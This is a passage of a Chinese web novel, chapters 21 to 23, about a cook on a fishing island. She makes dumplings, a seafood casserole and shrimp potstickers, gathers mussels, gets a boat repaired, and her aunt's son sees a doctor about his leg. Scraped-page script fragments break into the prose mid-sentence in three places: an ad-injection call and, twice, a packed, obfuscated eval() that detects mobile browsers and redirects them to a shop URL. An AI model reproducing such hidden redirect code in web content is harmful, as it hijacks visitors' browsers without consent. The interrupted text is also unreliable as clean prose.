四周白茫茫，屋里昏暗，江盈知一早把炉子搬进来，放口汤锅上去煮水，下起了三鲜饺子。 她趁早和面，又剁馅包的，以前她做的三鲜馅，是虾仁、黑木耳、鸡蛋和胡萝卜。 这会儿没有黑木耳，只能打了两个鸡蛋，炒炒散，再用韭菜和虾仁，同肉馅搅在一起。 水沸后下锅煮，再放点盐，皮不容易破。 江盈知在小桌子上摆了三口大碗，小梅举着油灯，海娃张开双臂护住灯芯，免得被风吹灭，两个人各有心思，一个看碗，一个看汤锅里沸腾的饺子。 碗里放了半勺猪油，一小把虾米，葱，酱油，蟛蜞酱，紫菜，再浇上饺子汤，猪油融化，酱香四溢。 海娃忍不住问，“阿姐，吃不吃啊？” “不吃啊，”江盈知用爪篱捞起饺子，故意逗他，“我和小梅两个人吃。” 海娃老实，“那你们吃，分我两个。” 小梅笑出了声，“从我嘴里分你半个。” 外面风刮雨，屋里头却闹哄哄，盆子里的水啪嗒啪嗒，三人围着炉子坐，守着那一点微弱的火光，捧着碗吃三鲜饺子。 海娃呼呼吹气，饺子皮滑，咬一口汤先流了出来，他忙嘬了口，紫菜沾唇上也不管，咬了一大口馅，嚼到了整只虾仁。 他不说话，怕吃到的从嘴巴里跳出去，于是便慌忙咬上一口，再紧闭嘴唇快快地嚼。 小梅也不开口，只顾着吃，恨不得生一张大嘴，把整个饺子塞进自己嘴里，那时鲜汤从皮里跑出来，最后全被嘴给兜住。 一时也忘了外头的大雨，风从门缝往里挤，呼呼地刮，屋外鬼哭狼嚎，可吃着这饺子，竟全然没听到。 小梅难得在这样的天里，还笑嘻嘻地说：“阿姐，我们西塘关有句鱼谚，叫鱼随潮，蟹随暴，等雨停了，明早去海滩，肯定能拾得很多小蟹。” 江盈知慢慢喝着汤，闻言道：“全抓了做蟹酱。” 当然想得挺好，风雨却半点面子也不给，她裹着薄被子睡了一夜，夜里漏风，江盈知想着早点攒够钱，起座像样的石房。 一早起来，外头仍在下雨，只下得不大，风带来阵阵凉意。 她取了点木柴拿进屋里，烧水煮粥的工夫，屋外来了人。 来人带着斗笠，穿件蓑衣，木屐踩得嘎吱响，江盈知瞧不清脸，等他上了楼才知道，是陈大木。 “大木叔，先坐会儿，下雨怎么还往这里赶？”江盈知给他拿凳子。 陈大木摆摆手，“我不坐，就是来跟你说一声，海上起了风暴头，我出不了船，没法网鱼。” “这些日子又是花水，鱼汛差，前头这片洋捞不到多少了，还想捞得去石花岛那，太远了，我就不捞剥皮鱼了。” 这些日子陈大木也从江盈知手头赚到了点钱，每日三四十文的鱼费，攒攒就够他买一桶好桐油的。 他自然不想放弃这个主顾，缩在蓑衣底下的手相互搓了搓，一时有些难为情地问，“不过这会儿正是糙皮虾旺季，你瞧你要不要？” 糙皮虾，江盈知沉思，这个词听着耳熟，许久没听过了，想了会儿才想起来，这应该说的是鹰爪虾。 鹰爪虾她记得望海里有，只是不如鲁省那里的出名，但这会儿正是鹰爪虾从远海向近海回游的时候，满腹膏卵，而且格外鲜甜。 最要紧的是，鹰爪虾个头大小正好，她可以做鲜虾锅贴来卖，没了剥皮鱼，可以把鱼丸改成虾滑，敲鱼面改成敲虾面。 她一时想着没出声，陈大木以为她不要，又急急道：“捞了晒虾米也可以，实在不成，我绕过礁岛去再捕些来，只是不如之前那样多。” 剥皮鱼的鱼汛是二到三月，如今已近四月，捕到了肉也不如之前鲜美。 江盈知便说：“大木叔，你能网多少虾来？” “我用虾网去捕，一次能捕百来斤，”陈大木如实说，“想要多些，还可以多捕几趟。” 两斤鹰爪虾剥了壳，是一斤虾肉，江盈知估摸着航船走后，渔港人要少很多，她的小摊用不了百来斤的虾。 “那先来五十斤吧，太多要烂，”江盈知说，又同陈大木商定好价格，五十斤算二十文，毕竟这虾不值钱。 待陈大木拿了钱要走时，江盈知又叫住他，问道：“大木叔，那船修得怎么样了？” “那船还是小梅她爹在时用的，”陈大木折返回来，“好些年没用了，船底板整个得换，今儿给你全磨好，等明早安上涂桐油灰，你后日来拿吧。” 如此说定后，陈大木这才冒着雨走了。 他走后，小梅穿好衣服出来，望了眼天说：“出不了摊了。” “那我把蟹篓子拿出来修修，到下晌后雨应该停了，去抓些小蟹来。” 江盈知用勺子搅搅粥，免得糊锅，她问小梅，“还有没有明矾？” 明矾放水里能净水，接来的雨水浑浊，虽说不喝，可这水拿来洗衣裳也不成。 小梅正找蟹篓子，闻言去翻之前留下来的明矾，挨个倒点进去，拿棍子搅搅，看着满盆的水她问，“阿姐，这真不拿来喝啊？” “真不喝，你也别喝，”江盈知说。 明矾有毒，尤其以前被用来放油条里，吃多了会老年痴呆，在这里也一样，它可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以用来净水，但一定要少量，煮开了喝，最好不喝。 不过这里也没人舍得放大剂量明矾在水里，都是搅搅等沉淀，但家家户户都有明矾，是用来腌海蜇的。 小梅虽然不解，但也很听劝，江盈知说不喝，她就真的把这水当做用来洗刷鞋袜衣裳的。 并且告诉海娃，让他别把手伸进去沾水玩。 吃了早饭后，雨由小转大，江盈知在屋子里走了一圈，发现哪哪都漏，她放粮食的小屋还算好，没叫米面进了水。 她招呼小梅来数钱，这几日攒了点，刚过一两又得拨出来些，“修个屋顶要多少？” 小梅摇摇头，“之前都是请大伯来帮忙修的。” “得请个好点的师傅，不要草棚了，直接铺瓦，再把这竹墙给用木板封了，”江盈知数着钱说，她把钱分做两堆，各五百文。 只是不晓得够不够用，实在不成，先把瓦给铺了，盖个板也行。 小梅没有不答应的理，“等雨停了，我去找伯娘说一声。” 刚过了晌午，雨便停了，小梅找来王三娘，她过来一瞧，“这屋咋漏得跟个筛子似的。” “铺瓦得要花笔钱，也不合算呐，”王三娘站在两个木盆中间望着屋顶，说得认真，“以前小梅没啥来钱路子，我也就不说了。” “可这会儿能挣些钱来，还修这竹屋做什么，攒点钱，等着休洋都不出海了，干脆请人起座石房。” 至于这屋顶，四面漏风的墙，王三娘说：“我叫大发去找些人家不要的旧船板，运些来，先把棚顶给铺上，省些银钱来。” “歇了铺瓦这个念头，哪有人给竹屋铺瓦的。” 她说完后又抖抖自己的蓑衣，把装在里头的棕鞋拿出来，递给江盈知，“穿穿，看看合不合脚。” “指定合脚，”小梅凑过去瞧，“哎呀，这编得真密实。” 这是用棕榈皮做了厚底，又用棕丝编了鞋面和鞋筒，按长靴的款式做的，编得纹理细密，瞧着极其用心。 两人催江盈知试试，她脱了布鞋把脚塞进棕鞋里去，里面垫了很厚的鞋垫，穿起来意外的舒服。 王三娘叫她走走，盯着鞋子瞧，“我特意做大了点，好塞鞋垫子，到了冬天，往里头搁棉花，笼裤也好塞进去，保管冷不着。” “穿着合不合适？” 江盈知低头踩了踩鞋子，笑着说：“太合适了，穿着也舒服。” 她以前买的鞋子最多，在餐厅上班，站站走走得一整天，买过不少好鞋子，可她觉得，都不如眼前这双来得好。 这份心意叫她怎么都张不开口，只好低头一遍遍，翻来覆去地瞧着。 王三娘也得意，“别看我人长得粗，手活可不赖，那里头的鞋底子，我纳了好些日子呢。” “你就穿着，越穿越合脚。” 她又在屋子里看了圈，“你们收拾收拾，撩海有没有？” 撩海是采贻（yí）贝用的抄网，小梅去找出来，不解道：“上哪去？” “带你们几个上落石礁那里采贻贝去，”王三娘伸手接过瞧了瞧。 江盈知换下鞋子问，“坐姑父的船去？” “谁坐他的船，叫他给你们寻木板去，晚些回来就能铺上，”王三娘笑道，“我同海珠、双珠几个说好了，自个儿划游捕船去。” 21.海鲜粉丝煲 西塘关的礁石上不生贻贝，所以每年得去海里水深的礁石处采。 王三娘给了江盈知一把长柄铁铲，自己手里拿了抄网，小梅把桶拿上。 海娃不能去，正瘪着嘴巴，顺子带他去海滩找螃蟹洞。 刚落过雨，潮水退去，滩涂上有不少小蟹，江盈知穿着棕鞋，小蟹爬到鞋面也没有感觉。 陈海珠摇着一艘很小的游捕船来，那是专门用来采贻贝的，岛上的女人只会摇这种小船。 毕竟大捕船、小对船这种正经渔船，她们自己也不愿意摇，听信女人摇船船要翻的鬼话。 “快来，快来，趁着没风去采些贝晒淡菜，”陈海珠招招手，“小满，上我这坐着来。” 王三娘拉着小梅上了后头一条空船，双珠嫂子摇了船到边上，连忙喊：“快些走，到落石礁要划一会儿。” 江盈知盘腿坐在小船里，前面的陈海珠边划桨边同她聊天，“小满，你们外海采不采淡菜？” 这里贻贝晒干叫淡菜，江盈知没怎么采过贻贝，那时望海礁石上的野生贻贝少，而且时常面临海洋污染不能吃，全是在近海处筏式养殖出来的。 “没呢，倒是打过蛎黄，”江盈知望着一片汪洋，远处有座独立成岛的礁石，这种叫悬水礁，浪头拍得猛，但贻贝可不少。 王三娘从她身旁划过去，喊道：“这浪太大，登不了礁，往别处瞧瞧。” 最后绕了几个岛礁一圈，才登上一座礁石，浪起伏小，而且相较平缓。 礁石上长满了密密麻麻的贻贝，此时并不是贻贝最肥美的时候，到了农历七八月，浪头最凶的时候，那肉才最多。 江盈知利索地爬上了礁石，挖了个贻贝，是厚壳贻贝，这种望海礁石滩生的最多，也叫乌头壳。北边海里的大多是翡翠贻贝，那俗名青口，管紫贻贝叫海虹。 她敲开贻贝壳，里头贝肉是偏白，贻贝也分雌雄，雌的肉黄吃起来面一点，雄的肉白要嫩很多。不过江盈知爱吃薄壳的，对厚壳的没那么喜欢，主要这玩意虽然是贝类，但好吃的是一口鲜，不好吃的又老又面。 其他海鲜一般野生的味美，到了贻贝这里，江盈知觉得养殖的味道更好些，不过这个野生的瞧起来很不错。她这才挥铲子挖贻贝，耳边是涌涌而动的海浪，有的水花溅到她的腿上。 陈海珠拴了船走上来，环顾一圈说：“今年淡菜长势真好，也不知道晒了，渔港干货铺收不收。” 王三娘趴着礁石缝，用铁铲去敲，拔出个贻贝来，“那点价算个啥，上年差点摔到海里，晒了一堆淡菜，结果只给十文。” 边上双珠嫂子跟着抱怨，要不是实在想换点银钱来做嚼用，谁不怕被浪打，一个没站稳就摔进海里去。 不过她们只采礁石壁上的，有些人是潜到水底，那里头的贻贝肉多，这就不叫采，叫攻淡菜。 听着她们发牢骚，江盈知想了想说：“先晒了，我到时候给你们瞧瞧有没有出路。” 陈海珠笑道：“那可得劳你多上心。” 王三娘拿抄网去够另外一座礁石上的贻贝，闻言说：“你夸了海口，到时候她俩全赖上你。” 江盈知毫不在意，采贻贝实在太累，又很危险，比捕鱼可轻松不到哪里去，礁石滑，得牢牢扒着，一不小心就得落到底下的浪涌里。 跟她以前敲藤壶一样危险，且要摇那么久的船，就为辛苦采点贻贝晒干，卖出去补贴家用，她能帮就顺手帮一把。 不过得先尝尝味道如何。 敲贻贝敲了好久，江盈知差点脚滑，索性扒住了，慢慢下来，裤子上全沾满青苔。 小梅过来扶她一把，此时浪越来越大，几人全背着篓子下来，上了船回去。 贻贝倒是不用怎么吐沙，泡一会儿，再拿回去洗了壳，蒸一蒸就能吃。 几人搞得一身狼狈回去，下了船看对方，全都笑起来，身上没块是干净的，连脸上也糊了点绿油油的苔藓。 双珠嫂子又笑又恼，“我就赖着小满，等她寻个出路后，我再去，不然还得洗衣裳又洗裤子。” “你可洗去吧，这好好给收拾了，”陈海珠笑着拍拍她沉甸甸的篓子。 此时已近黄昏，浪小，海滩上到处是捉小蟹的孩童，欢声笑语不断。之前小梅说鱼随潮，蟹随暴，之前的风雨倒是把小螃蟹窝给掀翻了，满地乱爬。 她们把船推上岸的工夫，海娃举着一个蟹篓子跑过来，“阿姐，我抓到了好多。” 江盈知把一桶贻贝提在手里，伸头瞅了眼，居然有不少沙蟹，她咦了声，“你自个儿抓的？” 要知道沙蟹善打洞，一有动静就呲溜一下跑得没影了。 顺子穿着条带泥水的裤子，下半身湿漉漉地跑过来，手里举着一根麻绳，得意地翘头，“我教海娃抓的，沙蟹笨，把绳子放到它洞口里，它见了就咬，一钓一个准。” 这种法子江盈知也做过，大伙管这叫牵沙蟹，有意思得很，等沙蟹咬到了绳子，再慢慢把它拉上来，手疾眼快扔进篓子，立马盖起来。 “多抓点，”江盈知笑眯眯地对顺子说，“等会儿你拿来，” 没等她说完，顺子跳起来喊，“赏我口好饭是不是，小满姐，你放心，我肯定把这滩涂的沙蟹全给你扒回来。” 小梅斜看他一眼，“人不大，口气挺大，好好抓。” 顺子一把拉上海娃，蹦蹦跳跳走了，随即立马跪在滩涂上，用手够那洞。 江盈知可算知道他裤子咋湿的了，看着好笑，和小梅一道把东西提了回去。 竹屋外头，陈大发和强子把木板运下来，叠在沙滩上。 陈大发甩了甩手说：“这屋子棚顶茅草明早给它扯了，把木板钉上去，再盖一层茅草。” 小梅仰头看屋顶，江盈知晃晃手里的贻贝，冲两人笑，“强子哥，姑父你们两个晚上在这吃。” “又烧什么，蒸淡菜？”强子拿起靠在柱子上的拐杖，一瘸一拐走过来问。 江盈知想想还有点小海鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13603810|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，便说：“做个海鲜煲。” “要不要虾，”陈大发问，“去换船板，别人送了一小桶糙皮虾。” 江盈知没拒绝，让他们先忙着，自己和小梅提着桶，去了山脚尽头处,那里有从山里流下的溪水，不大，洗刷点贻贝正好够用。 把贻贝用猪鬃刷洗洗干净，顺着壳将足丝扯下来，再扔回桶里泡着。 洗完回去，陈大发拿来了一小桶虾，个头都不小，江盈知剁着蒜蓉，又把粉丝给泡上。 找了个平底大口砂锅，前些日子买的，正好用上，她把粉丝铺在砂锅底，花甲、蛏子、辣螺、鹰爪虾顺着边码好，浇上一圈蒜蓉，小火慢炖。 贻贝没有放进去，先煮到开口，去掉一半的壳，再酱爆。 江盈知以前做主厨时，餐厅只做法式贻贝，放什么黄油、欧芹、蒜、红葱头、白葡萄酒烹煮，贻贝海外运来的，熬出来汤汁奶油黄。香料烹发出来的滋味很足，肉嫩鲜滑。 可她更喜欢这种简单调料的，整颗贝肉肥厚饱满，比蛤蜊肉要大很多，一咬便有汁水，胜在新鲜。 她还给做了个摆盘，捞出来挨个放好，倒上料汁，王三娘走过来瞧见，“做什么花样子。” 又闻到那海鲜粉丝煲，她往那凑了凑，“怪香的，你们外海人人手艺都这般好？” “我们在吃的上捣腾的花样多，”江盈知说道。 她往砂锅盖上一块布，掀开盖子，滚滚白气扑面，她拿了两根长筷子翻搅，蒜蓉和海味交融的香气，在粉丝被翻上来间直往鼻子里钻。 周围忽然安静，江盈知夹起一长条晶莹的粉丝，往旁边看了眼，差点没被吓一跳。 只见一群脑袋齐刷刷往锅里瞧，顺子和海娃蹲着用眼睛瞥，小梅咽了咽口水，王三娘别开眼咳了声，“还没好啊？” “吃吧吃吧，”江盈知也颇觉好笑，搭了两块布在砂锅边，把它放到垫了木板的桌子上，煮了点饭，还有几盘酱爆贻贝。 一时只听得吸吸嗦嗦的声音，要不是吸溜着粉丝，手里再拿只鹰爪虾，急急忙忙剥开，整只虾肉塞进嘴里。 待砂锅见了底，料汁都要抢来浇饭上。 饱饱吃了一顿，陈大发打了个嗝，“怪不得大伙都说，上山一蓬烟，下海一餐鲜。” 王三娘打落桌上一堆空壳，“少说废话，赶紧干活去。” 吃过饭，转到天亮边，江盈知和小梅把屋里东西移出来，海娃抱着几个桶来回跑，小矮凳，小铲子，他全拿出来摆摆好。 陈大发踩着梯子上了屋顶，把草棚全给掀翻了，屋里便扑簌簌掉下来一堆草屑。 等木板盖到顶上，又加上一层茅草，已经到了晌午，吃了顿海鲜面，江盈知几人下午忙着打扫屋子，重新归置东西。 新屋顶挺好，船板本来就漆了桐油，这样一盖也不怕雨再打进来。 一晃一天便又过去了，隔日早上，陈大木挑来两桶鲜虾，并嘱咐说：“船修好了，趁着小潮头，尽早来划走。” 22.鲜虾锅贴 海岛禁忌规矩颇多，江盈知把小对船送到陈大木那去燂（tán）时，先前要准备一圆形的虾筛，放米、面、糖、糕各一点，装在小盆里。 另备了两碗菜和鱼鲞，猪肋骨上的肉，给肉的时候要插刀，鱼鲞中鱼头得插根葱。 可以备得少，但一定要有，那是用来祭船神和海上孤魂野鬼的，要是不做，陈大木也不敢修。 那时江盈知和小梅便全一一照样，只送了东西，又说了些吉利话，船修补期间也没有再去瞧过。 之前那艘小对船瞧着极其破烂，虽说船板明面损毁不多，可风吹日晒，终究朽烂得多。 如今江盈知一瞧，换了船板，先漆了桐油，外头便锃光瓦亮的，中舱新钉了两块长搁板做凳，窄了些，三四人勉强能坐。 小对船又叫带角船，船头有角，船首两侧钉了船眼。 小梅绕着船走了一圈，感慨道：“半点瞧不出之前的样子。” 陈大木把绳子往船上挂，问道：“谁来划船，要个后生啊，你大伯没来？” 强子陪她俩来的，划船是个苦力活，陈大木念着他腿脚不好，只略过了他。 他却上前道：“叔，我来划，我手劲大。” 打断了江盈知想说的话，她便没做声，几人一块把船推下水，强子爬到船头边，摇着桨往后去。 “小满，船俗多，你得多学学才能上，”强子并不像西塘关好些渔民一样古板，觉得女人家不能摇船，只是船上忌讳尤其多，还有旁的要十分在意的。 江盈知点点头，她也没有贸然上手，回去拿了今儿去摆摊的东西，一一摆好，勉强塞满，王三娘拉着海娃目送几人离开。 陈大发背着手，有点惆怅，“怎么就不要我送了呢。” “你海蛇剖好了没，”王三娘白他一眼，“晚些有你送的时候。” 等瞧不到船影时，几人才走回去，而在渔港的路上，强子划着桨说：“我们这会儿划的时候潮水平，这叫宽潮，海路可行。” “要是碰上强潮，得赶紧拢洋靠岸。” 小梅看水都一样的波澜，江盈知倒听得认真，强子也把脑子里的货抖了大半出来，他七岁待在船上学，要不是后来腿不成，也是当大捕船船工的好料子。 强子教江盈知认了直港潮水，在港道口，潮水只有往返两个流向，如何划省力，还有潮夹，不同潮流的流向会有流层。 根本不像是江盈知想的那样，只要有把子力气，上了船摇了桨就能拼蛮力到渔港。 强子跟她说行船习俗，站起来慢慢停了桨，“运船要让捕鱼船，大对船要让小对船，小对船得靠边，不能在海道上左右乱晃。” “这要是被撞了，河泊所可不管的，行船要有道。” 如此说到了渔港，江盈知拿了个凳子放船头边，强子弯身单脚跪在上头慢慢下来。 “来，小满你过来这边，我教你打结，”强子放了拐杖蹲下身，手里拿两根船绳，江盈知也蹲下身去瞧，她以前还真不知道船桩打结也要学。 渔民通常用的是撩班结，打结速度很快，又特别牢。江盈知上手试了试，先将一根绳子逆时针绕过桩子，打结翻一个圈，绳头穿过圈顺时针拉住长绳，再钻进圈里。 “小满可以啊，”强子拍拍手上的灰，笑道，“下回教你点旁的绳结。” 小梅在旁边看了会儿，摸不透，便说：“强子哥你可真有能耐，我姐也学得很快。” 强子摇摇头，拿上拐杖往渔船走，“我算什么能耐，船老大在这上头才本事，先不说旁的，光是打绳结，就能打三十来种。” “要是说起观潮测风出海捕鱼，跟船帮打交道，那才不得了。” 强子对船老大很敬佩，应该说渔民都很敬重船老大，在这里有军令不如海令的说法，而船老大是海令。 江盈知提了炉子下来，她对船老大有点好奇，“通海叔算船老大吗？” “不大算，只是算管船的，”强子拿了两条板凳往前走，“手底下要有艘大对船，管着十好些人，还有点钱才成，好些都住里镇大院子里。” 小梅倒是见过船老大，是管航船的那些，瞧起来都上了岁数，她觉得这把年纪了，赚点钱也应该。 她悄悄跟江盈知说：“那些船老大年纪一大把，胡子拉碴的。” 江盈知想起之前因海盗被迫停在渔港的那些船，船老大高矮胖瘦都有，只是瞧起来都挺老的。 “谁说都老的，也有岁数轻的，你们没瞧见罢了，”强子听着了，辩驳道，“等立夏前边，捕春鱼的渔船从外海回洋，你们去看看。” 江盈知很敷衍地应了句，那会儿谁要瞧什么船老大，把小黄鱼带回来才是正经的。 如此说了段路，进了渔港，船少了很多，人倒是还成，没那么冷清，之前被挤占的地方，也没人抢了。 小梅赶紧把招幌给插上，海红仍然在对面前后墙角的位置，朝她们招招手。江盈知走过去跟她说了声，“姐，我们搬回那边，要不你也搬来，我们有个照应。” 海红习惯了在这地，摇摇头，“你们去吧，到时候忙不过来，我叫我家三小看着摊，我去给你们帮帮忙。” “成啊，到时候来喝汤，”江盈知笑笑，还想多聊些，小梅跑过来叫她，她只能先回去。 到了摊子上，只见陈三明带了几个同僚过来，穿着显眼的小吏服，强子没同这些人打过交道，一时也不知道说什么。 江盈知笑着走过去，“几位吃点什么，这段日子没啥海鱼，鱼丸便没做了，虾滑、敲虾面吃不吃？” 陈三明后头的胖小吏瞧了眼江盈知，很快地又把目光移到案板那一叠锅贴上，有点馋，“这是什么？瞧着也不像面饺。” “是鲜虾锅贴，一文两只，你们来点？”江盈知掀开白布盖，一只只虾尾上翘，虾肉藏在雪白面皮里，半肥半瘦的猪肉露出来。 还没煎呢，胖小吏便咽了咽口水，陈三明用脚踢踢他，恨铁不成钢地说：“你有点出息成不成！” 而后又瞧后面两个，眼睛只往一处盯着，是小梅生了火，搅着煮好的料汤。随着锅被加热，香气便挥散来，可把肚里空空的这几人给馋住了。 陈三明无奈扶额，“来五碗汤，三十只那啥，锅贴。” 他嘀咕，“这名字真古怪。” “煎的时候可就不古怪了，怎么，大晌午的还没吃饭？” 江盈知把自己花了半两银子的铁鏊子拿出来，放到炉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13607379|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上，用丝瓜烙沾熟菜油擦着锅面，顺便问道。 不等陈三明说，后头那个跟长脚鹭鸶一样瘦高的小吏抱怨，“别说了，昨晚上就没回去，候着那些船进港出港，到了眼下才歇。” “早上伙夫给蒸了馒头，只给碗蟹糊，”陈三明翻了个白眼，“晌午我们收得晚了，连口汤都没留。” “远远出来瞧见你这个招幌，也不往其他铺子去了，便说到你这来吃。” 江盈知闻言笑道：“这样辛苦，多给你们加些虾滑，小梅，多舀些来。” 小梅应了声，陈三明忙说：“那怎么好意思，”一面又笑，毕竟在兄弟前的面子给足了。 这会儿来客少，几人也不走，就看江盈知煎这个古里古怪的锅贴。 等锅热了，油滋滋啦啦地在锅面上跳起来，江盈知才用筷子夹着锅贴，挨个放下去。 这个鏊子沿边微微凸起一圈，能兜得住汤，煎了会儿，锅贴底部焦黄，她便淋了一圈淀粉水下去，盖了木盖焖会儿。 完全没在意其他人直勾勾的目光，只管数着数，她的面皮擀得并不厚，一掀开盖，锅里便冒起白气。那雪白的面皮变得晶莹了些，牢牢裹着虾肉，露出里头的橙红，虾尾微微弯起。 待盛出来，放在盘子里，这才瞧到底下一圈焦脆，嚼上去必定喀嚓一声响。 小梅端了一木盘，上面放了三碗汤，她喊：“汤好了。” 这直愣愣的几人这才你推我，我挤你的赶紧到桌子上，拿了筷子等吃的。 途中胖小吏还埋怨陈三明，“你个黑心肠的，有这种好地方藏着不说，尽吃独食了。” 陈三明接过小梅手里的盘子，挨个捧出，闻言呸了声，“人家就在这地头，生意都做到外帮人那里去了，偏偏你个榔头脑袋还不晓得。” 这两个人拌着嘴，其他两个立马手疾眼快地夹起一只锅贴，也不顾烫，张口咬掉半截。鲜肉、软面皮，嫩虾，涌出来混着油的汤汁，烫的是舌头，叫的是嘴。 那个瘦高个嘶了声，陈三明看他，他立马把剩下半个也塞进嘴里，筷子又连戳两个。 陈三明气个半死，这几个牲口，连忙护住自己面前的碗，叉了两个锅贴，赶紧舀了勺汤，吃了个大虾滑。 原先他以为鱼丸就够好吃的，没想到虾滑更嫩，还能吃到鲜虾粒，豆腐煮得完全入了味，裙带菜薄薄一张，一咬就破，完全不用多嚼。 这碗汤配着锅贴，可把几人吃得馋虫更胜，一时又要了二十只，每人五只，谁也不能抢谁的。 后面来的也俱是这个样子，只管喊：“阿妹，再煎十只来，上碗汤。” 江盈知也不知道煎了几锅，只知道刚坐会儿，立马有人来，只管要锅贴，又问有没有油纸，包些带回家。 等锅贴卖完了，汤还剩半罐，江盈知累得捶捶胳膊，桌上人三三两两地离开，嘴边沾着油都没舍得擦。 只说明日再来。 等人走得差不多，陈大发和王三娘来了。 “阿姑，你怎么来了，”江盈知不解。 王三娘揣着一兜子的钱，满满当当，有铜板、碎银子，一张张海蛇皮、晒干货卖来的六两银子家当。 她要带强子去里镇医馆看腿。 23.敲虾面 说实话，王三娘也不容易，这些年东攒西凑，除了卖海蛇胆，偶尔陈大发出去捕鱼，或是自己去做小工剖鱼晒鱼鲞，还完家里欠债，这些年才攒下四两银子。 后来江盈知告诉她剖海蛇皮，卖海蛇肉，又给寻了门路。那段日子，她白天在摊上干活，晚上出海钓海蛇，陈大发出去给人当脚夫，竟也攒下了二两。 之前强子的腿刚断时，送去医馆便说只能绑起来，伤处好不了。花光家底，又东拼西借，欠了一屁股债，结果还是没好。 王三娘那时连最偏的小岛也去求医问药，连明府也去过，到头来没半点起色，头两年里，她咬着牙过日子，看着强子的腿越来越瘸。 后三年里，她还是忘不了治腿，还了债，一有钱就去问问偏方，这回打听到里镇来了个老大夫，治骨头可以，要价贵，四两最低，她竟也攒了下来。 王三娘把包袱挂在自己胸前，跟江盈知说：“我们带强子去瞧瞧腿。” 她笑了笑，“这趟要是实在不成，以后就也不看了。” 强子不愿意去，他断腿五年来，去了不知道多少次医馆、海神庙，也吃了很多偏方，江盈知说的海蛇炖肉好，王三娘便天天给他做。 花了家里不知多少银钱，强子真不想医了。 江盈知和小梅一起拉他起来说：“哥，你去瞧瞧吧，兴许就能看得了呢。” 她说得小声，“实在不成，也宽宽我阿姑的心，以后便不去瞧了。” 陈大发牵他，“儿子，走吧，瞧瞧去。” 强子垂头，而后跟着一道走出去，连拐杖都忘了拿，还是江盈知送过去的。 她没有说什么，其实她比谁都知道，这里哪有断腿后骨头长结实了，再重新去医好的，除非打碎骨头重接，这不过是给王三娘一个念想罢了。 小梅一直往那边看，她也很明白，医不好的。 摊子上还剩一些东西没卖完，对面海红都走了，渔港的海鸥渐渐多了起来，黄昏时分，可人还没回。 江盈知想扯了腰巾上里镇瞧瞧去时，王三娘几人便从拐口处过来。 一见江盈知，也不管街上人多人少，王三娘恨恨骂了句，“那老庸医说这腿能医，把岔出来的骨头全打断。” “我问他法子能保证医得好不，他说，要短一截腿！那会儿我真想把他扔海里喂鱼。” 王三娘愤愤不平，紧紧拽着布腰带，只怕泄了这口气，她自个儿都要厥过去，她跟江盈知和小梅说：“再也不去瞧了。” “以后也别叫强子哥了，这名字不好，不吉利，”王三娘揉搓着手里的纸头，“给他起了个大名，叫陈强胜，以后你们也只管这么叫他。” 江盈知和小梅对看一眼，后面陈大发和强子也一脸无奈。 原是从医馆出来，王三娘便跟失了魂一样，呆愣愣地拽着钱，口中只说个老庸医，喊她也不应。 陈大发便下了狠劲推她，这才唤了点魂回来，正逢路边有人叫鸟测字。 渔岛盛行此俗信，叫养的小麻雀吃一粒米，告诉它给人测字，它便会跑到一排签条里，叼出一条来，算命的便打开来解签。 这测一次要一百文，早前王三娘疯了才会去，这会儿她也确实疯了，冷不丁拿出一吊钱扔在地上，指着强子说：“给他测测字。” 算命的忙接过数钱，而后才抚着胡子，左手抓了一把米，咕咕叫了声，小麻雀过来啄米，而后飞去叼了张木牌签。 “叫什么名字，”算命的打量强子一眼，王三娘说：“陈强，我们管他叫强子。” “这名字不好，他现在身子弱，你又叫他强，这叫以弱胜强，改个名吧，叫强胜，这是以强胜弱。” 王三娘陷入沉思，一听是这个理，又花五十解了签文，也不想再去怀疑。只管随算命的改了名，以后再也不叫强子，只叫胜子。 江盈知听完，揉揉眉心，她想说：“这不能信…” 关键时候小梅拉了拉她，也跟着王三娘改口，“强胜这名字一听就好，鸟测字算出来也有几分准头，我以后就叫强胜哥。” 王三娘忙说：“你也觉得好是吧，这名字指定错不了，” 她低声重复，“指定错不了，” 江盈知便也不忍心说什么，她拍了拍王三娘的背，“阿姑，我给你下一碗敲虾面，晚些再回去。” 陈大发把王三娘扶过去说：“吃点热汤，吃点热汤吧。” 强子苦笑，“我都二十五了，还改个名。” “说不准就应了，”小梅过来拿凳子让他坐下，“强胜哥，你坐着歇会儿。” 连江盈知也改了口，强子便也接受了这个名字，只想叫他娘好受点。 渔港人渐渐少了，往来渔船变多。 江盈知把剩的敲虾投进滚水里，她做的敲虾，厚薄适中，只去了虾头和虾壳，留下虾尾，再沾上淀粉用棒槌敲，便成了圆圆一张皮。 过了水，淀粉溶解，滚水的浸泡让敲虾渐渐卷起，变得有厚度，肉粉色中掺着橙红，虾尾红得鲜亮，瞧着像圆鼓鼓的金鱼。 盛到碗里，浇了汤，汤用虾头熬的，少不得蛤蜊、小香菇、一点肉末、小青菜。 她捧了到桌子上，塞给王三娘一双筷子，“阿姑，你尝尝。” 说实话，王三娘哪有胃口，只觉得浑身 